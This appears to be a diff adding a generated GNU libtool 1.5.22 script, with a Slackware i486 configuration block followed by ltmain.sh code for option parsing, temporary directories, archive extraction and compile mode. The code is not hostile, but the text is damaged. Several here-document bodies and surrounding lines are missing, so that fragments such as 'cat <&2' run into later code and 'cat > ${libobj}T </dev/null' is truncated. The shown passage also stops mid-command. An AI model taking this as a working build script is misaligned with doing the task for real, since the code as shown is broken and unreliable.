+LD="/usr/i486-slackware-linux/bin/ld" + +# Whether we need hard or soft links. +LN_S="ln -s" + +# A BSD-compatible nm program. +NM="/usr/bin/nm -B" + +# A symbol stripping program +STRIP="strip" + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=file + +# Used on cygwin: DLL creation program. +DLLTOOL="dlltool" + +# Used on cygwin: object dumper. +OBJDUMP="objdump" + +# Used on cygwin: assembler. +AS="as" + +# The name of the directory that contains temporary libtool files. +objdir=.libs + +# How to create reloadable object files. +reload_flag=" -r" +reload_cmds="\$LD\$reload_flag -o \$output\$reload_objs" + +# How to pass a linker flag through the compiler. +wl="-Wl," + +# Object file suffix (normally "o"). +objext="o" + +# Old archive suffix (normally "a"). +libext="a" + +# Shared library suffix (normally ".so"). +shrext_cmds='.so' + +# Executable file suffix (normally ""). +exeext="" + +# Additional compiler flags for building library objects. +pic_flag=" -fPIC -DPIC" +pic_mode=default + +# What is the maximum length of a command? +max_cmd_len=32768 + +# Does compiler simultaneously support -c and -o options? +compiler_c_o="yes" + +# Must we lock files when doing compilation ? +need_locks="no" + +# Do we need the lib prefix for modules? +need_lib_prefix=no + +# Do we need a version for libraries? +need_version=no + +# Whether dlopen is supported. +dlopen_support=yes + +# Whether dlopen of programs is supported. +dlopen_self=yes + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=yes + +# Compiler flag to prevent dynamic linking. +link_static_flag="-static" + +# Compiler flag to turn off builtin functions. +no_builtin_flag=" -fno-builtin" + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec="\${wl}--export-dynamic" + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec="\${wl}--whole-archive\$convenience \${wl}--no-whole-archive" + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec="" + +# Library versioning type. +version_type=linux + +# Format of library name prefix. +libname_spec="lib\$name" + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec="\${libname}\${release}\${shared_ext}\$versuffix \${libname}\${release}\${shared_ext}\$major \$libname\${shared_ext}" + +# The coded name of the library, if different from the real name. +soname_spec="\${libname}\${release}\${shared_ext}\$major" + +# Commands used to build and install an old-style archive. +RANLIB="ranlib" +old_archive_cmds="\$AR \$AR_FLAGS \$oldlib\$oldobjs\$old_deplibs~\$RANLIB \$oldlib" +old_postinstall_cmds="\$RANLIB \$oldlib~chmod 644 \$oldlib" +old_postuninstall_cmds="" + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds="" + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds="" + +# Commands used to build and install a shared archive. +archive_cmds="\$CC -shared \$libobjs \$deplibs \$compiler_flags \${wl}-soname \$wl\$soname -o \$lib" +archive_expsym_cmds="\$echo \\\"{ global:\\\" > \$output_objdir/\$libname.ver~ +cat \$export_symbols | sed -e \\\"s/\\\\(.*\\\\)/\\\\1;/\\\" >> \$output_objdir/\$libname.ver~ +\$echo \\\"local: *; };\\\" >> \$output_objdir/\$libname.ver~ + \$CC -shared \$libobjs \$deplibs \$compiler_flags \${wl}-soname \$wl\$soname \${wl}-version-script \${wl}\$output_objdir/\$libname.ver -o \$lib" +postinstall_cmds="" +postuninstall_cmds="" + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds="" +module_expsym_cmds="" + +# Commands to strip libraries. +old_striplib="strip --strip-debug" +striplib="strip --strip-unneeded" + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects="" + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects="" + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps="" + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps="" + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path="" + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method="pass_all" + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd="\$MAGIC_CMD" + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag="" + +# Flag that forces no undefined symbols. +no_undefined_flag="" + +# Commands used to finish a libtool library installation in a directory. +finish_cmds="PATH=\\\"\\\$PATH:/sbin\\\" ldconfig -n \$libdir" + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval="" + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe="sed -n -e 's/^.*[ ]\\([ABCDGIRSTW][ABCDGIRSTW]*\\)[ ][ ]*\\(\\)\\([_A-Za-z][_A-Za-z0-9]*\\)\$/\\1 \\2\\3 \\3/p'" + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl="sed -n -e 's/^. .* \\(.*\\)\$/extern int \\1;/p'" + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address="sed -n -e 's/^: \\([^ ]*\\) \$/ {\\\"\\1\\\", (lt_ptr) 0},/p' -e 's/^[BCDEGRST] \\([^ ]*\\) \\([^ ]*\\)\$/ {\"\\2\", (lt_ptr) \\&\\2},/p'" + +# This is the shared library runtime path variable. +runpath_var=LD_RUN_PATH + +# This is the shared library path variable. +shlibpath_var=LD_LIBRARY_PATH + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=no + +# How to hardcode a shared library path into an executable. +hardcode_action=immediate + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=yes + +# Flag to hardcode $libdir into a binary during linking. +# This must work even if $libdir does not exist. +hardcode_libdir_flag_spec="\${wl}--rpath \${wl}\$libdir" + +# If ld is used when linking, flag to hardcode $libdir into +# a binary during linking. This must work even if $libdir does +# not exist. +hardcode_libdir_flag_spec_ld="" + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator="" + +# Set to yes if using DIR/libNAME during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=no + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=no + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=unsupported + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=no + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="PATH LD_RUN_PATH GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=unknown + +# Compile-time system search path for libraries +sys_lib_search_path_spec=" /usr/lib/gcc/i486-slackware-linux/3.4.6/ /usr/lib/gcc/i486-slackware-linux/3.4.6/ /usr/lib/gcc/i486-slackware-linux/3.4.6/../../../../i486-slackware-linux/lib/i486-slackware-linux/3.4.6/ /usr/lib/gcc/i486-slackware-linux/3.4.6/../../../../i486-slackware-linux/lib/ /usr/lib/gcc/i486-slackware-linux/3.4.6/../../../i486-slackware-linux/3.4.6/ /usr/lib/gcc/i486-slackware-linux/3.4.6/../../../ /lib/i486-slackware-linux/3.4.6/ /lib/ /usr/lib/i486-slackware-linux/3.4.6/ /usr/lib/" + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec="/lib /usr/lib /usr/local/lib /usr/X11R6/lib /usr/i486-slackware-linux/lib /opt/kde/lib " + +# Fix the shell variable $srcfile for the compiler. +fix_srcfile_path="" + +# Set to yes if exported symbols are required. +always_export_symbols=no + +# The commands to list exported symbols. +export_symbols_cmds="\$NM \$libobjs \$convenience | \$global_symbol_pipe | \$SED 's/.* //' | sort | uniq > \$export_symbols" + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds="" + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms="_GLOBAL_OFFSET_TABLE_" + +# Symbols that must always be exported. +include_expsyms="" + +# ### END LIBTOOL CONFIG + +# ltmain.sh - Provide generalized library-building support services. +# NOTE: Changing this file will not affect anything until you rerun configure. +# +# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005 +# Free Software Foundation, Inc. +# Originally by Gordon Matzigkeit , 1996 +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +basename="s,^.*/,,g" + +# Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh +# is ksh but when the shell is invoked as "sh" and the current value of +# the _XPG environment variable is not equal to 1 (one), the special +# positional parameter $0, within a function call, is the name of the +# function. +progpath="$0" + +# The name of this program: +progname=`echo "$progpath" | $SED $basename` +modename="$progname" + +# Global variables: +EXIT_SUCCESS=0 +EXIT_FAILURE=1 + +PROGRAM=ltmain.sh +PACKAGE=libtool +VERSION=1.5.22 +TIMESTAMP=" (1.1220.2.365 2005/12/18 22:14:06)" + +# See if we are running on zsh, and set the options which allow our +# commands through without removal of \ escapes. +if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST +fi + +# Check that we have a working $echo. +if test "X$1" = X--no-reexec; then + # Discard the --no-reexec flag, and continue. + shift +elif test "X$1" = X--fallback-echo; then + # Avoid inline document here, it may be left over + : +elif test "X`($echo '\t') 2>/dev/null`" = 'X\t'; then + # Yippee, $echo works! + : +else + # Restart under the correct shell, and then maybe $echo will work. + exec $SHELL "$progpath" --no-reexec ${1+"$@"} +fi + +if test "X$1" = X--fallback-echo; then + # used as fallback echo + shift + cat <&2 + $echo "Fatal configuration error. See the $PACKAGE docs for more information." 1>&2 + exit $EXIT_FAILURE +fi + +# Global variables. +mode=$default_mode +nonopt= +prev= +prevopt= +run= +show="$echo" +show_help= +execute_dlfiles= +duplicate_deps=no +preserve_args= +lo2o="s/\\.lo\$/.${objext}/" +o2lo="s/\\.${objext}\$/.lo/" + +##################################### +# Shell function definitions: +# This seems to be the best place for them + +# func_mktempdir [string] +# Make a temporary directory that won't clash with other running +# libtool processes, and avoids race conditions if possible. If +# given, STRING is the basename for that directory. +func_mktempdir () +{ + my_template="${TMPDIR-/tmp}/${1-$progname}" + + if test "$run" = ":"; then + # Return a directory name, but don't create it in dry-run mode + my_tmpdir="${my_template}-$$" + else + + # If mktemp works, use that first and foremost + my_tmpdir=`mktemp -d "${my_template}-XXXXXXXX" 2>/dev/null` + + if test ! -d "$my_tmpdir"; then + # Failing that, at least try and use $RANDOM to avoid a race + my_tmpdir="${my_template}-${RANDOM-0}$$" + + save_mktempdir_umask=`umask` + umask 0077 + $mkdir "$my_tmpdir" + umask $save_mktempdir_umask + fi + + # If we're not in dry-run mode, bomb out on failure + test -d "$my_tmpdir" || { + $echo "cannot create temporary directory \`$my_tmpdir'" 1>&2 + exit $EXIT_FAILURE + } + fi + + $echo "X$my_tmpdir" | $Xsed +} + + +# func_win32_libid arg +# return the library type of file 'arg' +# +# Need a lot of goo to handle *both* DLLs and import libs +# Has to be a shell function in order to 'eat' the argument +# that is supplied when $file_magic_command is called. +func_win32_libid () +{ + win32_libid_type="unknown" + win32_fileres=`file -L $1 2>/dev/null` + case $win32_fileres in + *ar\ archive\ import\ library*) # definitely import + win32_libid_type="x86 archive import" + ;; + *ar\ archive*) # could be an import, or static + if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null | \ + $EGREP -e 'file format pe-i386(.*architecture: i386)?' >/dev/null ; then + win32_nmres=`eval $NM -f posix -A $1 | \ + $SED -n -e '1,100{/ I /{s,.*,import,;p;q;};}'` + case $win32_nmres in + import*) win32_libid_type="x86 archive import";; + *) win32_libid_type="x86 archive static";; + esac + fi + ;; + *DLL*) + win32_libid_type="x86 DLL" + ;; + *executable*) # but shell scripts are "executable" too... + case $win32_fileres in + *MS\ Windows\ PE\ Intel*) + win32_libid_type="x86 DLL" + ;; + esac + ;; + esac + $echo $win32_libid_type +} + + +# func_infer_tag arg +# Infer tagged configuration to use if any are available and +# if one wasn't chosen via the "--tag" command line option. +# Only attempt this if the compiler in the base compile +# command doesn't match the default compiler. +# arg is usually of the form 'gcc ...' +func_infer_tag () +{ + if test -n "$available_tags" && test -z "$tagname"; then + CC_quoted= + for arg in $CC; do + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + CC_quoted="$CC_quoted $arg" + done + case $@ in + # Blanks in the command may have been stripped by the calling shell, + # but not from the CC environment variable when configure was run. + " $CC "* | "$CC "* | " `$echo $CC` "* | "`$echo $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$echo $CC_quoted` "* | "`$echo $CC_quoted` "*) ;; + # Blanks at the start of $base_compile will cause this to fail + # if we don't check for them as well. + *) + for z in $available_tags; do + if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $z$" < "$progpath" > /dev/null; then + # Evaluate the configuration. + eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$z'$/,/^# ### END LIBTOOL TAG CONFIG: '$z'$/p' < $progpath`" + CC_quoted= + for arg in $CC; do + # Double-quote args containing other shell metacharacters. + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + CC_quoted="$CC_quoted $arg" + done + case "$@ " in + " $CC "* | "$CC "* | " `$echo $CC` "* | "`$echo $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$echo $CC_quoted` "* | "`$echo $CC_quoted` "*) + # The compiler in the base compile command matches + # the one in the tagged configuration. + # Assume this is the tagged configuration we want. + tagname=$z + break + ;; + esac + fi + done + # If $tagname still isn't set, then no tagged configuration + # was found and let the user know that the "--tag" command + # line option must be used. + if test -z "$tagname"; then + $echo "$modename: unable to infer tagged configuration" + $echo "$modename: specify a tag with \`--tag'" 1>&2 + exit $EXIT_FAILURE +# else +# $echo "$modename: using $tagname tagged configuration" + fi + ;; + esac + fi +} + + +# func_extract_an_archive dir oldlib +func_extract_an_archive () +{ + f_ex_an_ar_dir="$1"; shift + f_ex_an_ar_oldlib="$1" + + $show "(cd $f_ex_an_ar_dir && $AR x $f_ex_an_ar_oldlib)" + $run eval "(cd \$f_ex_an_ar_dir && $AR x \$f_ex_an_ar_oldlib)" || exit $? + if ($AR t "$f_ex_an_ar_oldlib" | sort | sort -uc >/dev/null 2>&1); then + : + else + $echo "$modename: ERROR: object name conflicts: $f_ex_an_ar_dir/$f_ex_an_ar_oldlib" 1>&2 + exit $EXIT_FAILURE + fi +} + +# func_extract_archives gentop oldlib ... +func_extract_archives () +{ + my_gentop="$1"; shift + my_oldlibs=${1+"$@"} + my_oldobjs="" + my_xlib="" + my_xabs="" + my_xdir="" + my_status="" + + $show "${rm}r $my_gentop" + $run ${rm}r "$my_gentop" + $show "$mkdir $my_gentop" + $run $mkdir "$my_gentop" + my_status=$? + if test "$my_status" -ne 0 && test ! -d "$my_gentop"; then + exit $my_status + fi + + for my_xlib in $my_oldlibs; do + # Extract the objects. + case $my_xlib in + [\\/]* | [A-Za-z]:[\\/]*) my_xabs="$my_xlib" ;; + *) my_xabs=`pwd`"/$my_xlib" ;; + esac + my_xlib=`$echo "X$my_xlib" | $Xsed -e 's%^.*/%%'` + my_xdir="$my_gentop/$my_xlib" + + $show "${rm}r $my_xdir" + $run ${rm}r "$my_xdir" + $show "$mkdir $my_xdir" + $run $mkdir "$my_xdir" + exit_status=$? + if test "$exit_status" -ne 0 && test ! -d "$my_xdir"; then + exit $exit_status + fi + case $host in + *-darwin*) + $show "Extracting $my_xabs" + # Do not bother doing anything if just a dry run + if test -z "$run"; then + darwin_orig_dir=`pwd` + cd $my_xdir || exit $? + darwin_archive=$my_xabs + darwin_curdir=`pwd` + darwin_base_archive=`$echo "X$darwin_archive" | $Xsed -e 's%^.*/%%'` + darwin_arches=`lipo -info "$darwin_archive" 2>/dev/null | $EGREP Architectures 2>/dev/null` + if test -n "$darwin_arches"; then + darwin_arches=`echo "$darwin_arches" | $SED -e 's/.*are://'` + darwin_arch= + $show "$darwin_base_archive has multiple architectures $darwin_arches" + for darwin_arch in $darwin_arches ; do + mkdir -p "unfat-$$/${darwin_base_archive}-${darwin_arch}" + lipo -thin $darwin_arch -output "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" "${darwin_archive}" + cd "unfat-$$/${darwin_base_archive}-${darwin_arch}" + func_extract_an_archive "`pwd`" "${darwin_base_archive}" + cd "$darwin_curdir" + $rm "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" + done # $darwin_arches + ## Okay now we have a bunch of thin objects, gotta fatten them up :) + darwin_filelist=`find unfat-$$ -type f -name \*.o -print -o -name \*.lo -print| xargs basename | sort -u | $NL2SP` + darwin_file= + darwin_files= + for darwin_file in $darwin_filelist; do + darwin_files=`find unfat-$$ -name $darwin_file -print | $NL2SP` + lipo -create -output "$darwin_file" $darwin_files + done # $darwin_filelist + ${rm}r unfat-$$ + cd "$darwin_orig_dir" + else + cd "$darwin_orig_dir" + func_extract_an_archive "$my_xdir" "$my_xabs" + fi # $darwin_arches + fi # $run + ;; + *) + func_extract_an_archive "$my_xdir" "$my_xabs" + ;; + esac + my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | $NL2SP` + done + func_extract_archives_result="$my_oldobjs" +} +# End of Shell function definitions +##################################### + +# Darwin sucks +eval std_shrext=\"$shrext_cmds\" + +disable_libs=no + +# Parse our command line options once, thoroughly. +while test "$#" -gt 0 +do + arg="$1" + shift + + case $arg in + -*=*) optarg=`$echo "X$arg" | $Xsed -e 's/[-_a-zA-Z0-9]*=//'` ;; + *) optarg= ;; + esac + + # If the previous option needs an argument, assign it. + if test -n "$prev"; then + case $prev in + execute_dlfiles) + execute_dlfiles="$execute_dlfiles $arg" + ;; + tag) + tagname="$arg" + preserve_args="${preserve_args}=$arg" + + # Check whether tagname contains only valid characters + case $tagname in + *[!-_A-Za-z0-9,/]*) + $echo "$progname: invalid tag name: $tagname" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + case $tagname in + CC) + # Don't test for the "default" C tag, as we know, it's there, but + # not specially marked. + ;; + *) + if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "$progpath" > /dev/null; then + taglist="$taglist $tagname" + # Evaluate the configuration. + eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$tagname'$/,/^# ### END LIBTOOL TAG CONFIG: '$tagname'$/p' < $progpath`" + else + $echo "$progname: ignoring unknown tag $tagname" 1>&2 + fi + ;; + esac + ;; + *) + eval "$prev=\$arg" + ;; + esac + + prev= + prevopt= + continue + fi + + # Have we seen a non-optional argument yet? + case $arg in + --help) + show_help=yes + ;; + + --version) + $echo "$PROGRAM (GNU $PACKAGE) $VERSION$TIMESTAMP" + $echo + $echo "Copyright (C) 2005 Free Software Foundation, Inc." + $echo "This is free software; see the source for copying conditions. There is NO" + $echo "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." + exit $? + ;; + + --config) + ${SED} -e '1,/^# ### BEGIN LIBTOOL CONFIG/d' -e '/^# ### END LIBTOOL CONFIG/,$d' $progpath + # Now print the configurations for the tags. + for tagname in $taglist; do + ${SED} -n -e "/^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$/,/^# ### END LIBTOOL TAG CONFIG: $tagname$/p" < "$progpath" + done + exit $? + ;; + + --debug) + $echo "$progname: enabling shell trace mode" + set -x + preserve_args="$preserve_args $arg" + ;; + + --dry-run | -n) + run=: + ;; + + --features) + $echo "host: $host" + if test "$build_libtool_libs" = yes; then + $echo "enable shared libraries" + else + $echo "disable shared libraries" + fi + if test "$build_old_libs" = yes; then + $echo "enable static libraries" + else + $echo "disable static libraries" + fi + exit $? + ;; + + --finish) mode="finish" ;; + + --mode) prevopt="--mode" prev=mode ;; + --mode=*) mode="$optarg" ;; + + --preserve-dup-deps) duplicate_deps="yes" ;; + + --quiet | --silent) + show=: + preserve_args="$preserve_args $arg" + ;; + + --tag) + prevopt="--tag" + prev=tag + preserve_args="$preserve_args --tag" + ;; + --tag=*) + set tag "$optarg" ${1+"$@"} + shift + prev=tag + preserve_args="$preserve_args --tag" + ;; + + -dlopen) + prevopt="-dlopen" + prev=execute_dlfiles + ;; + + -*) + $echo "$modename: unrecognized option \`$arg'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; + + *) + nonopt="$arg" + break + ;; + esac +done + +if test -n "$prevopt"; then + $echo "$modename: option \`$prevopt' requires an argument" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE +fi + +case $disable_libs in +no) + ;; +shared) + build_libtool_libs=no + build_old_libs=yes + ;; +static) + build_old_libs=`case $build_libtool_libs in yes) echo no;; *) echo yes;; esac` + ;; +esac + +# If this variable is set in any of the actions, the command in it +# will be execed at the end. This prevents here-documents from being +# left over by shells. +exec_cmd= + +if test -z "$show_help"; then + + # Infer the operation mode. + if test -z "$mode"; then + $echo "*** Warning: inferring the mode of operation is deprecated." 1>&2 + $echo "*** Future versions of Libtool will require --mode=MODE be specified." 1>&2 + case $nonopt in + *cc | cc* | *++ | gcc* | *-gcc* | g++* | xlc*) + mode=link + for arg + do + case $arg in + -c) + mode=compile + break + ;; + esac + done + ;; + *db | *dbx | *strace | *truss) + mode=execute + ;; + *install*|cp|mv) + mode=install + ;; + *rm) + mode=uninstall + ;; + *) + # If we have no mode, but dlfiles were specified, then do execute mode. + test -n "$execute_dlfiles" && mode=execute + + # Just use the default operation mode. + if test -z "$mode"; then + if test -n "$nonopt"; then + $echo "$modename: warning: cannot infer operation mode from \`$nonopt'" 1>&2 + else + $echo "$modename: warning: cannot infer operation mode without MODE-ARGS" 1>&2 + fi + fi + ;; + esac + fi + + # Only execute mode is allowed to have -dlopen flags. + if test -n "$execute_dlfiles" && test "$mode" != execute; then + $echo "$modename: unrecognized option \`-dlopen'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # Change the help message to a mode-specific one. + generic_help="$help" + help="Try \`$modename --help --mode=$mode' for more information." + + # These modes are in order of execution frequency so that they run quickly. + case $mode in + # libtool compile mode + compile) + modename="$modename: compile" + # Get the compilation command and the source file. + base_compile= + srcfile="$nonopt" # always keep a non-empty value in "srcfile" + suppress_opt=yes + suppress_output= + arg_mode=normal + libobj= + later= + + for arg + do + case $arg_mode in + arg ) + # do not "continue". Instead, add this to base_compile + lastarg="$arg" + arg_mode=normal + ;; + + target ) + libobj="$arg" + arg_mode=normal + continue + ;; + + normal ) + # Accept any command-line options. + case $arg in + -o) + if test -n "$libobj" ; then + $echo "$modename: you cannot specify \`-o' more than once" 1>&2 + exit $EXIT_FAILURE + fi + arg_mode=target + continue + ;; + + -static | -prefer-pic | -prefer-non-pic) + later="$later $arg" + continue + ;; + + -no-suppress) + suppress_opt=no + continue + ;; + + -Xcompiler) + arg_mode=arg # the next one goes into the "base_compile" arg list + continue # The current "srcfile" will either be retained or + ;; # replaced later. I would guess that would be a bug. + + -Wc,*) + args=`$echo "X$arg" | $Xsed -e "s/^-Wc,//"` + lastarg= + save_ifs="$IFS"; IFS=',' + for arg in $args; do + IFS="$save_ifs" + + # Double-quote args containing other shell metacharacters. + # Many Bourne shells cannot handle close brackets correctly + # in scan sets, so we specify it separately. + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + lastarg="$lastarg $arg" + done + IFS="$save_ifs" + lastarg=`$echo "X$lastarg" | $Xsed -e "s/^ //"` + + # Add the arguments to base_compile. + base_compile="$base_compile $lastarg" + continue + ;; + + * ) + # Accept the current argument as the source file. + # The previous "srcfile" becomes the current argument. + # + lastarg="$srcfile" + srcfile="$arg" + ;; + esac # case $arg + ;; + esac # case $arg_mode + + # Aesthetically quote the previous argument. + lastarg=`$echo "X$lastarg" | $Xsed -e "$sed_quote_subst"` + + case $lastarg in + # Double-quote args containing other shell metacharacters. + # Many Bourne shells cannot handle close brackets correctly + # in scan sets, and some SunOS ksh mistreat backslash-escaping + # in scan sets (worked around with variable expansion), + # and furthermore cannot handle '|' '&' '(' ')' in scan sets + # at all, so we specify them separately. + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + lastarg="\"$lastarg\"" + ;; + esac + + base_compile="$base_compile $lastarg" + done # for arg + + case $arg_mode in + arg) + $echo "$modename: you must specify an argument for -Xcompile" + exit $EXIT_FAILURE + ;; + target) + $echo "$modename: you must specify a target with \`-o'" 1>&2 + exit $EXIT_FAILURE + ;; + *) + # Get the name of the library object. + [ -z "$libobj" ] && libobj=`$echo "X$srcfile" | $Xsed -e 's%^.*/%%'` + ;; + esac + + # Recognize several different file suffixes. + # If the user specifies -o file.o, it is replaced with file.lo + xform='[cCFSifmso]' + case $libobj in + *.ada) xform=ada ;; + *.adb) xform=adb ;; + *.ads) xform=ads ;; + *.asm) xform=asm ;; + *.c++) xform=c++ ;; + *.cc) xform=cc ;; + *.ii) xform=ii ;; + *.class) xform=class ;; + *.cpp) xform=cpp ;; + *.cxx) xform=cxx ;; + *.f90) xform=f90 ;; + *.for) xform=for ;; + *.java) xform=java ;; + esac + + libobj=`$echo "X$libobj" | $Xsed -e "s/\.$xform$/.lo/"` + + case $libobj in + *.lo) obj=`$echo "X$libobj" | $Xsed -e "$lo2o"` ;; + *) + $echo "$modename: cannot determine name of library object from \`$libobj'" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + func_infer_tag $base_compile + + for arg in $later; do + case $arg in + -static) + build_old_libs=yes + continue + ;; + + -prefer-pic) + pic_mode=yes + continue + ;; + + -prefer-non-pic) + pic_mode=no + continue + ;; + esac + done + + qlibobj=`$echo "X$libobj" | $Xsed -e "$sed_quote_subst"` + case $qlibobj in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + qlibobj="\"$qlibobj\"" ;; + esac + test "X$libobj" != "X$qlibobj" \ + && $echo "X$libobj" | grep '[]~#^*{};<>?"'"'"' &()|`$[]' \ + && $echo "$modename: libobj name \`$libobj' may not contain shell special characters." + objname=`$echo "X$obj" | $Xsed -e 's%^.*/%%'` + xdir=`$echo "X$obj" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$obj"; then + xdir= + else + xdir=$xdir/ + fi + lobj=${xdir}$objdir/$objname + + if test -z "$base_compile"; then + $echo "$modename: you must specify a compilation command" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # Delete any leftover library objects. + if test "$build_old_libs" = yes; then + removelist="$obj $lobj $libobj ${libobj}T" + else + removelist="$lobj $libobj ${libobj}T" + fi + + $run $rm $removelist + trap "$run $rm $removelist; exit $EXIT_FAILURE" 1 2 15 + + # On Cygwin there's no "real" PIC flag so we must build both object types + case $host_os in + cygwin* | mingw* | pw32* | os2*) + pic_mode=default + ;; + esac + if test "$pic_mode" = no && test "$deplibs_check_method" != pass_all; then + # non-PIC code in shared libraries is not supported + pic_mode=default + fi + + # Calculate the filename of the output object if compiler does + # not support -o with -c + if test "$compiler_c_o" = no; then + output_obj=`$echo "X$srcfile" | $Xsed -e 's%^.*/%%' -e 's%\.[^.]*$%%'`.${objext} + lockfile="$output_obj.lock" + removelist="$removelist $output_obj $lockfile" + trap "$run $rm $removelist; exit $EXIT_FAILURE" 1 2 15 + else + output_obj= + need_locks=no + lockfile= + fi + + # Lock this critical section if it is needed + # We use this script file to make the link, it avoids creating a new file + if test "$need_locks" = yes; then + until $run ln "$progpath" "$lockfile" 2>/dev/null; do + $show "Waiting for $lockfile to be removed" + sleep 2 + done + elif test "$need_locks" = warn; then + if test -f "$lockfile"; then + $echo "\ +*** ERROR, $lockfile exists and contains: +`cat $lockfile 2>/dev/null` + +This indicates that another process is trying to use the same +temporary object file, and libtool could not work around it because +your compiler does not support \`-c' and \`-o' together. If you +repeat this compilation, it may succeed, by chance, but you had better +avoid parallel builds (make -j) in this platform, or get a better +compiler." + + $run $rm $removelist + exit $EXIT_FAILURE + fi + $echo "$srcfile" > "$lockfile" + fi + + if test -n "$fix_srcfile_path"; then + eval srcfile=\"$fix_srcfile_path\" + fi + qsrcfile=`$echo "X$srcfile" | $Xsed -e "$sed_quote_subst"` + case $qsrcfile in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + qsrcfile="\"$qsrcfile\"" ;; + esac + + $run $rm "$libobj" "${libobj}T" + + # Create a libtool object file (analogous to a ".la" file), + # but don't create it if we're doing a dry run. + test -z "$run" && cat > ${libobj}T </dev/null`" != "X$srcfile"; then + $echo "\ +*** ERROR, $lockfile contains: +`cat $lockfile 2>/dev/null` + +but it should contain: +$srcfile + +This indicates that another process is trying to use the same +temporary object file, and libtool could not work around it because +your compiler does not support \`-c' and \`-o' together. If you +repeat this compilation, it may succeed, by chance, but you had better +avoid parallel builds (make -j) in this platform, or get a better +compiler." + + $run $rm $removelist + exit $EXIT_FAILURE + fi + + # Just move the object if needed, then go on to compile the next one + if test -n "$output_obj" && test "X$output_obj" != "X$lobj"; then + $show "$mv $output_obj $lobj" + if $run $mv $output_obj $lobj; then : + else + error=$? + $run $rm $removelist + exit $error + fi + fi + + # Append the name of the PIC object to the libtool object file. + test -z "$run" && cat >> 